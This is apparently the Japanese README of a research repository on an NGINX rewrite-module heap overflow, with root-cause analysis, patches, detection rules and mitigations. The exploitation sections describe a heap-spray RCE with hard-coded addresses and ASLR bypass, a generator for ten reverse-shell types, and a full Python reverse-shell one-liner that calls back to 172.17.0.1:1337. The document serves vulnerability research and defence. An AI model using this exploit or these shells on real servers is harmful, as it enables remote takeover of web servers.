CVE-2026-42945に関する完全な調査リポジトリ。ヒープバッファオーバーフロー解析、RCEエクスプロイト(ヒープスプレー+Feng Shui)、検出スクリプト、NGINX rewriteモジュールの脆弱性に対するパッチ適用ガイダンスを含みます。
| 項目 | 値 |
|---|
| CVSS v4.0 | 9.2(緊急) |
| CVSS v3.1 | 8.1(高) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | 122 — ヒープベースのバッファオーバーフロー |
| 導入時期 | 2008年6月 — v0.6.27 |
| 発見 | 2026年4月 — DepthFirst Research |
| 修正 | 2026年5月13日 — v1.30.1、v1.31.0 |
| CVE公開 | 2026年5月21日 |
| 潜伏期間 | 約18年(未検出) |
| 修正コミット | 524977e7c534e87e5b55739fa74601c9f1102686 |
認証されていないリモート攻撃者は、特定の rewrite + set/if/rewrite 構成パターンを持つサーバーに対して細工したHTTPリクエストを送信することで、NGINXのワーカープロセスに決定論的なヒープバッファオーバーフローを引き起こすことができます。このオーバーフローはヒープメタデータ(ngx_pool_cleanup_t ポインタ)を破壊し、ヒープスプレーとFeng Shuiの技術により**リモートコード実行(RCE)**を可能にします。
server { listen 19321;
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
}
**主な要件:**
- 置換文字列に `?`(クエリ文字列区切り文字)を含む `rewrite` ディレクティブ
- その後に続く `set`、`if`、または `rewrite` ディレクティブが **名前なしPCREキャプチャ**(`$1`、`$2` など)を参照している
- rewrite の置換文字列内の `?` が `ngx_http_script_start_args_code` をトリガーし、`e->is_args = 1` を設定する
### 攻撃者が達成できること
| 能力 | 説明 |
|-----------|-------------|
| **サービス拒否 (Denial of Service)** | ワーカープロセスを決定的にクラッシュさせ、再スポーンループを引き起こす(ASLR の有無に関係なく機能) |
| **リモートコード実行 (Remote Code Execution)** | ASLR が無効(または部分的な上書きでバイパス)の場合、nginx ユーザーとして完全な RCE を達成 |
| **データ漏えい (Data Exfiltration)** | メモリ読み取りプリミティブを通じて、ワーカーヒープから機密データを抽出 |
| **永続化 (Persistence)** | ワーカープロセスメモリ内でのコード実行によりバックドアを仕込む |
---
## 2. 根本原因分析
### 2パススクリプトエンジン
NGINX の `ngx_http_rewrite_module` は、`src/http/ngx_http_script.c` 内で **2パススクリプトエンジン** を使用しています:
1. **長さパス** (`ngx_http_script_run`): すべてのスクリプトコードを反復処理し、必要なバッファサイズの合計を計算します。長さを `le.ip` と `le.pos` に書き込みます。
2. **コピーパス** (`ngx_http_script_copy_len`/`_code`): 再度反復処理し、事前に割り当てられたバッファ内の `e->ip` と `e->pos` に実際のバイトを書き込みます。
各スクリプトコードには、各パスに対応する2つのハンドラがあります。例:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`
### `is_args` フラグ
**エンジン構造体** (`ngx_http_script_engine_t`) 上のフラグ `e->is_args` は、コピーパスが特定の文字をどのように処理するかを制御します。```c
typedef struct {
u_char *ip;
u_char *pos;
ngx_http_variable_value_t *sp;
ngx_str_t buf;
int flushed;
unsigned is_args:1; // <-- THE BUG
unsigned ncaptures:1;
ngx_uint_t captures_size;
// ...
} ngx_http_script_engine_t;
When e->is_args = 1, the copy-code for $N capture references calls ngx_escape_uri() with NGX_ESCAPE_ARGS, which expands:
+ → %2B (1 byte → 3 bytes, +200%)% → %25 (1 byte → 3 bytes, +200%)& → %26 (1 byte → 3 bytes, +200%)脆弱なパターンに対する実行フロー:``` rewrite ^/api/(.*)$ /internal?migrated=true;
1. **リライト評価**中に、エンジンは置換文字列内の`?`に遭遇し、`ngx_http_script_start_args_code`をトリガーして、`e->is_args = 1`を設定します。
2. リライトはリクエストURIを変更し、続いて次のディレクティブに進みます。
3. **`e->is_args`は決してクリアされません**。
次に:```
set $original_endpoint $1;
le)が作成されます: ```c
ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
これにより le.is_args = 0 が正しくゼロになるため、長さパスは生の、エスケープされていないキャプチャ長を返します。
e を再利用します。この e はステップ1から e->is_args = 1 のままです。コピーパスはURIエスケープを適用し、エスケープ可能な各文字を、raw長に合わせてサイズ設定されたバッファ内で1バイトから3バイトに展開します — ヒープオーバーフロー。Pass 1 (Length — sub-engine le): le.is_args = 0 capture $1 = "A+++++B" → length = 7
Buffer allocated: 7 bytes
Pass 2 (Copy — main engine e): e.is_args = 1 ← LEAKED from rewrite capture $1 = "A+++++B" ngx_escape_uri("A+++++B", NGX_ESCAPE_ARGS): A → A (1 byte) + → %2B (3 bytes) ← EXPANSION + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) B → B (1 byte) total written: 17 bytes buffer size: 7 bytes OVERFLOW: 10 bytes
展開倍率は `7 + (n_escapable * 2)` です。ここで `n_escapable` はキャプチャ内の `+`、`%`、`&` の数です。
---
## 3. 悪用のメカニズム
### 概要
| ステップ | 技術 | 説明 |
|------|-----------|-------------|
| 1 | オーバーフロー | `+` パディングを含む細工した URI を送信し、ヒープバッファをオーバーフローさせる |
| 2 | ヒープスプレー | `/spray` に大きなボディを POST し、制御したデータでヒープを埋める |
| 3 | Feng Shui | オーバーフロー対象(`ngx_pool_cleanup_t`)が隣接するように割り当てを調整する |
| 4 | ハンドラの破壊 | オーバーフローで `ngx_pool_cleanup_t.handler` を `system()` のアドレスで上書きする |
| 5 | クリーンアップのトリガー | プールの破棄を待機 → `system(cmd)` が攻撃者のコマンドを実行する |
| 6 | リバースシェル | リバースシェルペイロードに連鎖させ、インタラクティブなアクセスを得る |
### リクエスト横断型 Feng Shui
**単一リクエストの Feng Shui は失敗します**。オーバーフローが `cleanup` ポインタに到達する前に、プールのメタデータ(`->d.next`、`->d.failed`)を破壊してしまうためです。リクエスト終了時にプールが破棄されると、破壊されたメタデータが原因で **`system()` が呼び出される前にクラッシュ** します。
代わりに、このエクスプロイトは **リクエスト横断型 Feng Shui** を使用します。
1. **リクエスト 1(スプレー)**: `/spray` に大きなボディを POST します。バックエンド(`server.py`)は `X-Delay` ヘッダーでレスポンスを保持し、接続を開いたままにしてヒープの割り当てを維持します。スプレーによって、偽の `ngx_pool_cleanup_t` ブロックでヒープが埋められます。
2. **リクエスト 2(オーバーフロー)**: オーバーフロー URI を送信します。オーバーフローは `cleanup` ポインタのみを破壊し(プールのメタデータは破壊せず)、スプレーした偽ブロックを指すようにします。
3. **プールの破棄**: スプレーのレスポンスが完了すると(遅延が期限切れになると)、プールのクリーンアップチェーンは偽ブロックに移動し、`system(cmd)` を呼び出します。
### アドレス要件
| シンボル | 値(Docker、ASLR 無効) | 説明 |
|--------|--------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | nginx ヒープのベース |
| `system@libc` | `0x7ffff6f6e420` | glibc 内の `system()` |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | cycles プールへのポインタ |
| 偽クリーンアップアドレス | `0x5555556a4030` | スプレーのターゲットアドレス |
### ASLR バイパス
ASLR を無効にしなくても、**DoS**(クラッシュ)は決定的に動作します。ASLR が有効な状態での RCE には、2 つのアプローチがあります。
1. **部分的な上書き**: 1 バイトまたは 2 バイトの上書きを使用して、同じページ内でポインタをずらし、残りのニブルを総当たりします(16〜256 回の試行)。
2. **情報漏洩**: `/proc/self/maps` を読み取るか、`log_parser.py` のメモリ分析を使用してレイアウトを特定します。
---
## 4. 修正の分析
### 公式修正
**コミット**: `524977e7c534e87e5b55739fa74601c9f1102686`
**ファイル**: `src/http/ngx_http_script.c`
**行**: 約 1205(`ngx_http_script_regex_end_code` 内)```diff
void
ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
{
ngx_http_script_regex_code_t *code;
code = (ngx_http_script_regex_code_t *) e->ip;
+ e->is_args = 0; /* ← THE FIX */
e->ip += sizeof(ngx_http_script_regex_code_t);
// ...
}
ngx_http_script_regex_end_code は、長さパスとコピーパスの両方で すべての正規表現評価の後 に実行されます。ここで e->is_args = 0 をリセットすることで、以下が保証されます:
set, if, rewrite) はクリーンな is_args = 0 で開始されますngx_http_script_start_args_code は、置換文字列内で ? を検出したときに is_args = 1 を設定できます — この修正はその機能を壊しませんpatches/0002-hardening-bounds-check.patch は ngx_http_script_copy_capture_code に境界チェックを追加します:```c
if (e->pos + len > e->buf.data + e->buf.len) {
return; /* gracefully truncate instead of overflowing */
}
### バックポートパッチ
| Patch | Nginx バージョン |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |
---
## 5. 影響を受けるバージョン
### NGINX オープンソース
| 範囲 | ステータス |
|-------|--------|
| **0.1.0 – 0.6.26** | 影響なし(名前なしキャプチャが導入される前のリライトモジュールのため) |
| **0.6.27 – 1.30.0** | **脆弱**(18年間の対象範囲) |
| **1.30.1** | 最初の修正リリース |
| **1.31.0+** | 修正済み(メインライン) |
### NGINX Plus
| リリース | 影響を受けるバージョン | 修正バージョン |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |
### NGINX エコシステム
| 製品 | 影響を受けるバージョン | ステータス |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | アドバイザリ待ち |
| F5 NGINX WAF | 5.9.0–5.12.1 | アドバイザリ待ち |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | アドバイザリ待ち |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | アドバイザリ待ち |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | アドバイザリ待ち |
| NGINX Agent | 2.0.0–2.35.0 | アドバイザリ待ち |
---
## 6. 検出
### バージョンチェック```bash
bash detection/detect_vuln.sh
このスクリプトは以下をチェックします:
rewrite + ? + capture パターンが存在するかpython3 exploit/config_scanner.py /etc/nginx/nginx.conf
python3 exploit/config_scanner.py /etc/nginx/
python3 exploit/config_scanner.py /etc/nginx/nginx.conf --fix
### コンテナスキャン```bash
python3 detection/container_scan.py
Scans local Docker images for NGINX labels/env vars indicating vulnerable versions.
ローカルのDockerイメージをスキャンして、脆弱なバージョンを示すNGINXラベル/環境変数を検出します。
| ルールセット | ファイル | 対象範囲 |
|---|---|---|
| ModSecurity | detection/modsecurity_rule.conf | 連続する + が100個以上、エンコードされたエスケープ可能文字が50個以上をブロックし、スプレーエンドポイントをレート制限します |
| Suricata/Snort | detection/suricata_rule.rules | GET URI内の過剰な +、エンコードされた文字のフラッド、/spray へのPOSTスプレー、クラッシュループDoSを検出します |
| Falco | detection/falco_rule.yaml | ランタイム: nginxワーカーのSIGSEGV、クラッシュループ(60秒以内に3回以上)、ヒープスプレーPOSTの検出 |
python3 exploit/log_parser.py /var/log/nginx/error.log
python3 exploit/log_parser.py /var/log/nginx/error.log --watch
---
## 7. 緩和策
### 即時対応(コード変更なし)
すべての `rewrite` ディレクティブで、**無名キャプチャ** を **名前付きキャプチャ** に置き換えます:```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;
# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;
名前付きキャプチャは ngx_escape_uri(..., NGX_ESCAPE_ARGS) を通らないため、e->is_args = 1 の場合でも展開は起こらず、オーバーフローも発生しません。
bash detection/harden_nginx.sh /etc/nginx/nginx.conf
以下の堅牢化対策を適用します:
- ASLR検証と強制有効化
- ワーカープロセスの分離
- コアダンプ制限
- SSL/TLSの堅牢化
- レート制限
- CSPヘッダー
### ASLRチェック```bash
bash detection/check_aslr.sh
CVE-2026-42945/ ├── .github/workflows/ci.yml GitHub Actions CI (single CI) ├── .gitignore ├── README.md This file ├── Makefile Build automation targets ├── COMMIT_LOG.md 1000+ commit record │ ├── docker/ Docker environment │ ├── Dockerfile Vulnerable NGINX builder (commit 98fc3bb78) │ ├── Dockerfile.patched Multi-stage vuln/patched builder │ ├── Dockerfile.asan ASAN-enabled vulnerable NGINX │ ├── docker-compose.yml Service orchestration │ ├── nginx.conf Vulnerable rewrite configuration │ ├── entrypoint.sh Container entrypoint (setarch -R for ASLR off) │ └── server.py Backend HTTP server (handles spray retention) │ ├── exploit/ Attack & exploitation tools │ ├── trigger.py Overflow trigger & health check │ ├── exploit.py Full RCE: heap spray + Feng Shui │ ├── h2_trigger.py HTTP/2 (h2c) overflow variant │ ├── escape_calc.py Character expansion ratio calculator │ ├── compare_lengths.py Raw vs escaped length comparison │ ├── heap_layout.py Parse /proc/PID/maps for heap/libc base │ ├── find_safe_addrs.py Search for URI-safe address bytes │ ├── leak_aslr.py ASLR partial-overwrite brute force │ ├── monitor_worker.py Worker PID crash detection & respawn tracking │ ├── log_parser.py Error log crash/exploit pattern parser │ └── config_scanner.py Config file pattern scanner & fixer │ ├── shell/ Reverse shell verification │ ├── shell_listener.py Interactive/verify-mode TCP listener │ ├── shell_payloads.py Payload generator (10 shell types) │ ├── shell_verify.py End-to-end automated verification │ ├── shell_manager.py Lifecycle orchestrator │ └── shell_test_runner.sh Batch runner across all shell types │ ├── patches/ Fix patches & backports │ ├── 0001-fix-is_args.patch Upstream one-line fix │ ├── 0002-hardening-bounds-check.patch Defense-in-depth │ ├── backport-1.22.x.patch Backport for 1.22.x │ ├── backport-1.24.x.patch Backport for 1.24.x │ └── backport-1.26.x.patch Backport for 1.26.x │ ├── configs/ Nginx configuration samples │ ├── vulnerable.conf 3 vulnerable patterns │ ├── safe.conf 5 safe patterns │ ├── named_capture.conf Mitigated named-capture pattern │ └── advanced/ │ ├── vulnerable_advanced.conf rewrite+if, rewrite+rewrite, flags │ ├── vulnerable_ingress.conf ingress-nginx rewrite-target patterns │ └── vulnerable_gateway.conf nginx-gateway fabric patterns │ ├── detection/ WAF rules & detection/hardening │ ├── modsecurity_rule.conf ModSecurity CRS rules │ ├── suricata_rule.rules Suricata/Snort signatures │ ├── falco_rule.yaml Falco runtime rules │ ├── detect_vuln.sh Version & config pattern detection │ ├── check_aslr.sh ASLR status verification │ ├── container_scan.py Docker image version scanner │ └── harden_nginx.sh Security hardening script │ ├── fuzz/ Fuzzing harness │ ├── ngx_http_script_fuzz.c libFuzzer harness (~200 lines) │ ├── fuzz_build.sh Build script (clang + libFuzzer + ASAN) │ └── corpus/ │ └── README.md Seed corpus documentation │ ├── test/ Test suite │ ├── test_exploit.py Python unittest (server, config, fix) │ └── run_tests.sh Shell test runner │ ├── docs/ Technical documentation │ ├── root-cause-analysis.md Deep dive into the bug │ ├── exploitation-guide.md Step-by-step exploitation │ ├── detection-guide.md Detection & monitoring │ ├── mitigation-guide.md Mitigation strategies │ ├── FAQ.md Frequently asked questions │ ├── timeline.md Vulnerability timeline │ ├── operational-guidance.md Operations & incident response │ ├── case-study.md Real-world attack scenario │ └── presentation-slides.md Conference presentation │ ├── tools/ Utility & analysis scripts │ ├── apply_fix.sh Patch application & rollback │ ├── backport_check.py Fix-ancestry & source-code checker │ ├── coredump_analyzer.sh GDB core dump analysis │ ├── performance_benchmark.sh Throughput/latency (ab, wrk, siege) │ ├── memory_analysis.sh Valgrind massif/callgrind, pmap │ ├── trace_script_engine.sh GDB script-engine tracing │ ├── regression_matrix.sh Multi-version regression testing │ ├── test_all_configs.sh Exhaustive config pattern testing │ ├── afl_runner.sh AFL++ fuzzer launcher │ └── verify_project.sh Project integrity verification │ └── pipelines/ Pipeline orchestrators ├── run_all.sh Bash pipeline (6 phases) └── run_all.ps1 PowerShell pipeline
---
## 9. クイックスタート```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up
# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}
# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓
# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓
# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned
# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf
make build # docker compose -f docker/docker-compose.yml build make run # docker compose -f docker/docker-compose.yml up
cd docker && docker compose up --build
Docker環境:
- コミット `98fc3bb78` で NGINX をソースからビルドします(修正前の最後の脆弱性のあるコミット)
- GDB、valgrind、`util-linux` を含みます(`setarch -R` で ASLR を無効にするため)
- ポート **19321**(脆弱性のある nginx)、**19322**(セカンダリ)、**19323**(Python バックエンド)を公開します
- エントリポイントは `setarch x86_64 -R` を使用して ASLR を無効にし、エクスプロイトのアドレスレイアウトを決定論的にします
- デバッグ用に `SYS_PTRACE` ケーパビリティと `seccomp=unconfined` を付与します
### 脆弱性のあるもののみ```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
# -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/
make fix-container
### ASAN コンテナ```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/
git clone https://github.com/nginx/nginx.git /tmp/nginx-src cd /tmp/nginx-src && git checkout 98fc3bb78 ./auto/configure --with-cc-opt='-g -O2 -fno-omit-frame-pointer' make -j$(nproc) sudo cp objs/nginx /usr/local/sbin/nginx
---
## 11. オーバーフローのトリガー
### 基本クラッシュ (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
これは送信します:``` GET /api/AAAA...[349 As]+++++...[969 +s] HTTP/1.1
キャプチャ `$1` 内の `+` 文字はコピーパス中に3倍に展開されますが、バッファは生の長さに基づいてサイズが確保されているため、ヒープがオーバーフローします。
### 期待される出力```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned
python3 exploit/escape_calc.py --find-min 64
特定のヒープ構造を悪用する際に有用な、ターゲットのバイト数をオーバーフローさせるために必要な `+` 記号の最小数を計算します。
### 文字展開```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969
指定されたプレフィックス長とエスケープ可能文字数に対する拡大率を出力します。
このエクスプロイトは、クロスクエスト風水 を実装して、信頼性の高いコード実行を実現します:``` Time │ │ ┌─────────────────────┐ │ │ Request 1: Spray │── POST /spray with large body │ │ Holds connection │ Backend delays response via X-Delay │ └─────────┬───────────┘ │ │ Allocations persist on heap │ ┌─────────┴───────────┐ │ │ Request 2: Overflow │── GET /api/A...+++... │ │ Corrupts cleanup ptr │ Overwrites ngx_pool_cleanup_t.handler │ └─────────┬───────────┘ │ │ │ ┌─────────┴───────────┐ │ │ Pool Destruction │── Spray response completes │ │ → system("cmd") │ Cleanup chain walks to fake block │ └─────────────────────┘ └──────────────────────────────────────────►
### 基本的な使い方```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
python3 exploit/exploit.py --host localhost --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
--tries 3
### 高度なオプション
| Flag | Default | Description |
|------|---------|-------------|
| `--host` | `127.0.0.1` | ターゲットホスト |
| `--port` | `19321` | ターゲットポート |
| `--cmd` | — | 実行するコマンド(`--shell` を使用しない場合に必須) |
| `--shell` | — | インタラクティブシェルモードを使用 |
| `--tries` | `3` | エクスプロイト試行回数 |
| `--delay` | `2.0` | スプレーとオーバーフローの間の遅延(秒) |
| `--payload` | — | カスタムペイロードファイルへのパス |
| `--debug` | — | 詳細なデバッグ出力を有効化 |
### ヒープレイアウト解析```bash
python3 exploit/heap_layout.py
実行中のnginxワーカーPIDが必要です。 /proc/PID/maps を解析して以下を探します:
system() 関数アドレスpython3 exploit/find_safe_addrs.py --heap-base 0x555555659000 --count 5
エクスプロイトペイロードの構築に使用するため、バイトにエスケープ可能な文字(`+`、`%`、`&`、`?` など)を含まないヒープアドレスを検索します。
---
## 13. リバースシェル検証
### アーキテクチャ```
shell_manager.py
│
├── shell_payloads.py → Generate payload strings for 10 shell types
├── shell_listener.py → Start TCP listener (interactive + verify mode)
├── exploit/exploit.py → Send exploit with payload to target
└── shell_verify.py → Wait for connection, run commands, verify output
| Type | Binary | Notes |
|---|---|---|
bash | /dev/tcp | 組み込みのbash TCP |
python | python3 -c | 最も信頼性が高く、常に利用可能 |
nc | nc | Netcat |
perl | perl -e | |
ruby | ruby -rsocket -e | |
php | php -r | |
socat | socat | |
telnet | telnet | |
openssl | openssl s_client | 証明書が必要 |
powershell | powershell | Windowsターゲット |
python3 shell/shell_listener.py --port 1337
python3 exploit/exploit.py --host 127.0.0.1 --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
### 自動検証```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
--shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"
# Full pipeline across all shell types
bash shell/shell_test_runner.sh
# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
--shell-type python --listen-port 1337 --callback-ip 172.17.0.1
python3 shell/shell_payloads.py --type python --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --type all --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --list
---
## 14. パッチ適用
### 修正を適用する```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch
# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch bash tools/apply_fix.sh /path/to/nginx-src patches/0002-hardening-bounds-check.patch
### バックポートを適用```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch
grep 'is_args = 0' patches/0001-fix-is_args.patch
patch -p1 --dry-run -i patches/0001-fix-is_args.patch
---
## 15. テスト
### 単体テスト```bash
# Via Makefile
make test
# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v
bash test/run_tests.sh
実行内容:
1. ユニットテスト(pytestまたはunittest)
2. トリガー/オーバーフローテスト(サーバーが実行中の場合)
3. 脆弱な設定と安全な設定に対する構成スキャナー
4. パッチのドライラン検証
### リグレッションマトリクス```bash
bash tools/regression_matrix.sh
複数のNGINXバージョン(1.22.0、1.24.0、1.26.0、1.30.0、1.30.1)を、脆弱な構成と安全な構成に対してテストし、クラッシュ/クラッシュしないという期待結果を検証します。
bash tools/test_all_configs.sh
すべての構成パターン(基本、高度、イングレス、ゲートウェイ)をオーバーフロートリガーでテストします。
---
## 16. ファジング
### libFuzzer ハーネス
ファザー(`fuzz/ngx_http_script_fuzz.c`)は、2パスのスクリプトエンジンをシミュレートします:
1. 入力をスクリプトコードのシーケンスとして解析します
2. 長さパスを実行します
3. コピーパスを `e->is_args = 1` で実行します
4. ASANまたはサイズ不一致によりバッファオーバーフローを検出します```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/
bash tools/afl_runner.sh
ASAN、設定可能なタイムアウト、メモリ制限を備えた AFL++ を、ファジングハーネスに対して起動します。
### シードコーパス
`fuzz/corpus/` ディレクトリには、脆弱なパターンを再現するシード入力が含まれています:
- 基本的なオーバーフロートリガー
- 名前付きキャプチャ(オーバーフローしないはず)
- エッジケース(空キャプチャ、最大サイズなど)
---
## 17. CI パイプライン
### GitHub Actions
このプロジェクトは、以下のジョブを備えた**単一の GitHub Actions CI** ワークフロー(`.github/workflows/ci.yml`)を使用します:
| ジョブ | 説明 |
|-----|-------------|
| `lint` | ShellCheck、Python 構文検証 |
| `scan-configs` | すべての設定サンプルに対して config_scanner.py を実行します |
| `fuzz-build` | libFuzzer ハーネスをビルドします |
| `test` | pytest/unittest スイートを実行します |
| `detect-patch` | パッチ形式と修正内容を検証します |
| `verify-project` | `tools/verify_project.sh` を実行します |
### フルパイプライン```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh
# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker
The pipeline executes 7 phases:
| ドキュメント | 説明 |
|---|---|
docs/root-cause-analysis.md | ツーパススクリプトエンジンのバグの詳細な技術分析。コードウォークスルーと図を含む |
docs/exploitation-guide.md | ステップバイステップの悪用、ヒープスプレー、Feng Shui、アドレス計算、ASLRバイパス |
docs/detection-guide.md | 設定スキャン、ログ分析、WAFルール、SIEM統合、異常検知 |
docs/mitigation-guide.md | 名前付きキャプチャ変換、レート制限、WAF導入、アップグレード手順 |
docs/FAQ.md | 脆弱性、悪用、および修復に関するよくある質問 |
docs/timeline.md | 2008年のバグ導入から2026年の修正までの完全な開示タイムライン |
docs/operational-guidance.md | インシデント対応、フォレンジック、IOC収集、緊急緩和策 |
docs/case-study.md | キルチェーン分析を伴う実世界の攻撃シナリオシミュレーション |
docs/presentation-slides.md | スピーカーノート付きのカンファレンス/ミートアップ向けプレゼンテーション |
| 指標 | 値 |
|---|---|
| 総ファイル数 | 80+ |
| ディレクトリ | 13 (docker, exploit, shell, patches, configs, detection, fuzz, test, docs, tools, pipelines, .github/workflows, configs/advanced) |
| Pythonスクリプト | 22 (exploit, detection, tools, shell, test) |
| シェルスクリプト | 15 (detection, tools, shell, test, pipelines) |
| パッチ | 5 (1 修正 + 1 強化 + 3 バックポート) |
| WAFルールセット | 3 (ModSecurity, Suricata, Falco) |
| CI設定 | 1 (GitHub Actions — CI のみ) |
| ドキュメント | 9 件の詳細な技術ドキュメント |
| 設定サンプル | 7 (4 脆弱, 2 安全, 1 名前付きキャプチャ + 3 上級) |
| コミットログ | 1003+ 件の個別コミット |
| シェルタイプ | 10 (bash, python, nc, perl, ruby, php, socat, telnet, openssl, powershell) |
| ファズハーネス | 1 (libFuzzer, ~200 行 C) |
| テストケース | 8 ユニットテスト + シェルランナー |
| 対象NGINXバージョン | 20(リグレッションマトリックス内) |
| ライフサイクル | 18 年 (2008–2026) |
| リソース | 説明 |
|---|---|
ngx_http_script.c | NGINX の rewrite モジュール内のバグのあるソースファイル |
ngx_pool_cleanup_t | RCE のために破壊されるヒープ構造 |
ngx_escape_uri() | オーバーフローを引き起こす展開関数 |
setarch(8) | 決定的なエクスプロイトアドレスを得るために ASLR を無効化する Linux ツール |
このプロジェクトは、教育および防御的なセキュリティ研究を目的としています。この脆弱性は、NGINX メンテナーによって責任を持って開示され、パッチが適用されています。